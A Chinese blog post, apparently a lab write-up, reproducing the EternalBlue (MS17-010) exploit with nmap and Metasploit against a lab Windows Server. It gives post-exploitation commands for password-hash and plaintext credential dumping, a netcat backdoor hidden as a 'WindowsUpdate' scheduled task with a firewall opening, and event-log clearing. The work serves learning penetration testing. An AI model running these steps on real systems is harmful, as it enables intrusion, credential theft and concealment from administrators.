永恒之蓝(MS17-010)漏洞复现+简单的后渗透操作(超详细)

张开发
2026/4/11 5:15:07 15 分钟阅读

分享文章

永恒之蓝(MS17-010)漏洞复现+简单的后渗透操作(超详细)
前言大家好这是我在CSDN中的第二篇报告本文是我在学习永恒之蓝漏洞过程中的完整复现记录。内容包含漏洞原理、利用步骤、后渗透及持久化控制。所有命令均经过亲自测试截图均为实验现场。如果你也在学习渗透测试希望这份报告能帮你少走一些弯路。欢迎交流指正。1. 漏洞概述项目内容漏洞编号MS17-010微软安全公告包含 CVE-2017-0143 ~ CVE-2017-0148漏洞名称EternalBlue永恒之蓝漏洞类型SMBv1 协议远程代码执行RCE内核级缓冲区溢出影响组件Windows SMBv1 服务内核驱动srv.sys端口 445危害等级高危CVSS 9.8/10可获取 SYSTEM 权限影响系统客户端系统Windows NT 4.0、Windows 2000 Professional、Windows XP、Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows RT 8.1、Windows 10早期版本如 1507、1511、1607服务器系统Windows Server 2000、Windows Server 2003、Windows Server 2008含 R2、Windows Server 2012含 R2、Windows Server 2016背景永恒之蓝是 2017 年 WannaCry 勒索病毒传播所依赖的核心漏洞。攻击者可向目标发送特制的 SMB 请求触发内核缓冲区溢出进而执行任意代码完全控制目标主机。2. 漏洞原理2.1 漏洞根源整数溢出导致长度计算错误SMBv1 协议在处理文件扩展属性FEAFile Extended Attributes时需要先计算 FEA 列表的总长度然后分配内核缓冲区。计算长度的函数为SrvOs2FeaListSizeToNt。缺陷该函数内部本应用 32 位无符号整数累加但程序员错误地使用了16 位无符号整数作为累加器。16 位变量最大值 65535。当攻击者构造一个总长度超过 65535 字节的 FEA 列表例如 66000 字节时累加过程会发生整数溢出实际存储值 真实长度 mod 65536。66000 mod 65536 465。函数返回 465而不是真实的 66000。2.2 触发缓冲区溢出SMB 驱动根据返回的错误长度 465分配了一个 465 字节的内核缓冲区。随后驱动将攻击者发送的 66000 字节 FEA 列表复制到这个缓冲区中。复制数据远超缓冲区容量导致内核缓冲区溢出覆盖相邻内存区域包括函数返回地址、异常处理指针等控制流关键数据。2.3 精确控制与 shellcode 执行攻击者在超长 FEA 列表中在特定偏移处预先布置shellcode一段恶意机器码用于反弹 Meterpreter 会话覆盖返回地址的新值指向 shellcode 的内存地址当函数返回时CPU 跳转到 shellcode执行后反弹一个 Meterpreter 会话攻击者获得 SYSTEM 权限。2.4 为什么该漏洞极其危险无需认证直接发送 SMB 包不需要用户名密码。内核级利用直接攻破操作系统内核获得最高权限。稳定性高Metasploit 模块通过辅助漏洞CVE-2017-0145、0146 等精确控制内存布局成功率极高。可蠕虫化WannaCry 利用此漏洞实现自我复制短时间内感染数十万台机器。3. 实验环境角色操作系统IP 地址关键配置攻击机Kali Linux 2025.3192.168.10.224预装 Metasploit、nmap、netcat靶机Windows Server 2008 R2 SP1192.168.10.142未打 MS17-010 补丁SMBv1 开启防火墙关闭或放行 445 端口网络连接两台虚拟机使用 VMware 仅主机模式或同一 NAT 网络确保互通。能够ping通靶机证明两台主机互通。4. 信息收集与漏洞验证4.1 端口扫描命令nmap -T4 -O -v -sV 192.168.10.142结果可以看到端口445是开启的后面连带着服务microsoft-ds还有靶机版本。表明 SMB 服务可访问。4.2 漏洞检测在这个实验中之前也用greenborn进行过漏洞扫描扫描出了靶机可能存在的漏洞可以看到靶机是存在永恒之蓝漏洞的下面是部分扫描截图。虽然已经通过greenborn扫描出了漏洞的存在但是还是使用使用 Nmap 的脚本再检测一遍检测漏洞吧命令nmap --script vuln 192.168.10.142从扫描结果中可以看出靶机存在永恒之蓝的概率非常大现在已经基本确定永恒之蓝的存在下一步可以开始漏洞的利用了。5. 漏洞利用启动 Metasploit使用搜索永恒之蓝ms17-010)。命令msfconsolesearch ms17-010搜索ms17-010后出现了五个工具其中0号工具位于渗透攻击模块这个工具就是进行漏洞利用的工具3号工具可以看到位于辅助模块从描述中可以看到是可以用来检测永恒之蓝的存在的。接下来可以尝试使用3号工具再次检测漏洞的存在从截图中可以看到永恒之蓝确实是有很大概率存在。到现在为止我已经用了三个方式来检测该漏洞的存在接下来就是使用0号工具对永恒之蓝进行漏洞的利用。命令use 0set rhosts 192.168.10.142从截图中可以看到选择工具0设置好靶机ip后运行工具出现了meterpreter会话到这里我们就成功通过这个工具进入了对方主机完成了漏洞的复现。6. 后渗透操作接下来从这到后面的部分都是我进行的简单的后渗透操作例如屏幕实时共享、截图、进程迁移、植入后门木马等等。6.1 查看当前权限与系统信息命令getuidsysinfo从这可以看出我们已经通过永恒之蓝成功打入了靶机并取得了最高权限。6.2 进程迁移提高稳定性与隐蔽性由于原始漏洞进程如lsass.exe或spoolsv.exe可能不稳定且容易被发现且易被 EDR 监控。需迁移到用户级交互进程。下面是我查到的一些进程选择原则和权限使用策略优先选择用户交互进程若目标主机已有用户登录首选迁移到explorer.exe。该进程稳定、与桌面交互支持键盘记录、屏幕截图等操作且进程名正常不易引起怀疑。若无人登录停留在登录界面迁移到winlogon.exe。该进程负责登录认证同样稳定且可捕获用户输入的密码。需要执行高权限操作如抓取哈希、读取 LSASS 内存时临时迁移到lsass.exe或services.exe等 SYSTEM 权限进程操作完成后立即迁回稳定进程。避免选择极易崩溃或敏感的系统进程例如csrss.exe、smss.exe等注入不当可能导致系统蓝屏。权限使用策略遵循“最小权限原则”与“按需提权”相结合。日常后渗透操作截图、键盘记录、文件浏览在explorer.exeAdministrator 权限下完成仅在需要抓取哈希、读取 LSASS 内存等高权限操作时临时迁移到lsass.exeSYSTEM 权限操作完毕后立即迁回explorer.exe。这样既保证了会话的稳定性与隐蔽性又能在必要时获取足够权限避免因长期驻留 SYSTEM 进程而引发系统崩溃或触发安全告警。进程迁移命令ps可以查到靶机正在运行的进程migrate explorer.exe 的 PID由于ps查看到的进程太多了不方便截图我就没有截图但是我使用ps -S命令直接搜索到了目标进程explorer.exe可以看到它的PID是2861接下来使用命令migrate2861就可以成功迁移进程到explorer.exe中6.3 抓取密码哈希与明文NTLM 哈希用于哈希传递攻击命令hashdump其中 LM 哈希为固定占位符表示禁用NTLM 哈希可离线破解。明文密码如果 LSASS 中有明文存储命令load kiwi加载kiwi模块creds_all成功时输出账户名与明文密码。这里出现了错误是由于我之前迁移进程到了administor权限下没有system权限导致运行失败这进一步验证了之前说的权限使用策略。接下来把进程迁移到system权限中再次验证就可以了执行完后要记得迁移回来。这可以看到迁移到了system权限下的进程后能成功查看到明文密码。注意kiwi需要 SYSTEM 权限且目标操作系统需允许明文密码缓存默认 Win2008 R2 可能已禁用但实验环境可调策略。若失败不影响整体。6.4 屏幕截图与实时监控单次截图命令screenshot保存当前桌面截图到攻击机。这里是已经成功截屏了截屏的图片就保存在图中的路径实时屏幕共享通过浏览器命令screenshare启动 HTTP 服务访问提供的 URL 即可实时观看靶机屏幕。这里是正在进行屏幕共享的运行这个命令后会自动打开浏览器显示共享这里我就没有做截图了7. 持久化后门即使漏洞修复仍可控制为了防止靶机安装补丁后失去访问植入独立后门并设置开机自启。7.1 上传 nc.exebash命令upload /usr/share/windows-binaries/nc.exe C:\\Windows\\System32\\执行命令后可以看到nc.exe已经成功上传到了靶机对应的路径。nc是kali里面自带的一款后门程序默认路径就是命令中的路径nc是经典网络工具可监听端口并绑定 cmd。7.2 防火墙放行端口或临时关闭防火墙由于外部想要连接进来要经过防火墙所以通过命令开启一个防火墙后门端口让nc.exe监听这个端口后续就可以通过这个端口访问靶机 也可以直接关闭防火墙但是这样容易被管理员发现所以选择开启一个后门端口更加稳妥。shell chcp 65001 这是为了设置编码格式位UTF-8避免出现乱码netsh firewall add portopening tcp 444 backdoor enable allexit可以看到一个名为backdoor的规则被创建了。7.3 创建计划任务自启动为了保证这个后门能够长期使用可以创建一个计划任务设置为开机自启动shellschtasks /create /tn WindowsUpdate /ru SYSTEM /tr C:\Windows\System32\nc.exe -Ldp 444 -e cmd.exe /sc onstartexit可以看到计划任务中多出了一个我们刚刚创建的nc任务这个名字可以改成windowsupdate之类的名字虽然还是容易被发现但是总好过我这样nc这么明显的名字吧。7.4 测试后门连接在 Kali 端bashnc 192.168.10.142 444成功连接后出现cmd提示符可执行任意命令。8. 痕迹清理攻击后应清除系统日志减少被溯源风险。bashclearev该命令会清除应用程序、安全、系统三类事件日志。注意clearev本身会在安全日志中留下事件 ID 1102日志被清空但实验环境可接受。更高级的清理可使用wevtutil选择性删除。9. 防御建议安装补丁程序这是最彻底的方式从微软官方下载好补丁程序后运行重启后回到kali中使用msf中的检测工具再次检测发现永恒之蓝漏洞不存在了重新打开一个终端尝试用我们植入的后门程序nc.exe尝试连接从截图可以看出漏洞被修复后仍可以使用我们植入的后门木马成功连接进入终端说明这个简单的持久化后门是成功了的。10. 总结本次实验完整复现了永恒之蓝MS17-010漏洞从信息收集、漏洞利用、后渗透到持久化控制的全部攻击链。通过实践能深入理解了以下关键点漏洞原理SMBv1 协议在处理文件扩展属性FEA时因整数溢出导致内核缓冲区溢出攻击者可借此远程执行任意代码并获得 SYSTEM 权限。攻击流程使用 Nmap 进行端口扫描与漏洞验证通过 Metasploit 的ms17_010_eternalblue模块成功获取 Meterpreter 会话随后完成进程迁移、密码抓取、键盘记录、屏幕监控等后渗透操作。权限维持通过上传nc.exe并创建计划任务实现了系统重启后的持久化控制同时利用clearev清理痕迹模拟真实攻击的收尾工作。11.参考资料原理分析奇安信威胁情报中心永恒之蓝深度分析https://ti.qianxin.com/blog/articles/detailed-analysis-of-eternalblue/原理分析阿里云开发者社区永恒之蓝漏洞攻击原理与防护加固https://developer.aliyun.com/article/1490112复现案例CSDN永恒之蓝漏洞详细复现https://blog.csdn.net/mooyuan/article/details/155166247复现案例博客园永恒之蓝漏洞复现https://www.cnblogs.com/yuyi123/p/17053274.html复现案例阿里云开发者社区MS17-010漏洞利用实战https://developer.aliyun.com/article/1499981复现案例腾讯云开发者社区永恒之蓝漏洞详解与复现https://cloud.tencent.cn/developer/article/2148793补丁下载微软官方补丁 KB4012598http://www.catalog.update.microsoft.com/Search.aspx?qKB4012598

更多文章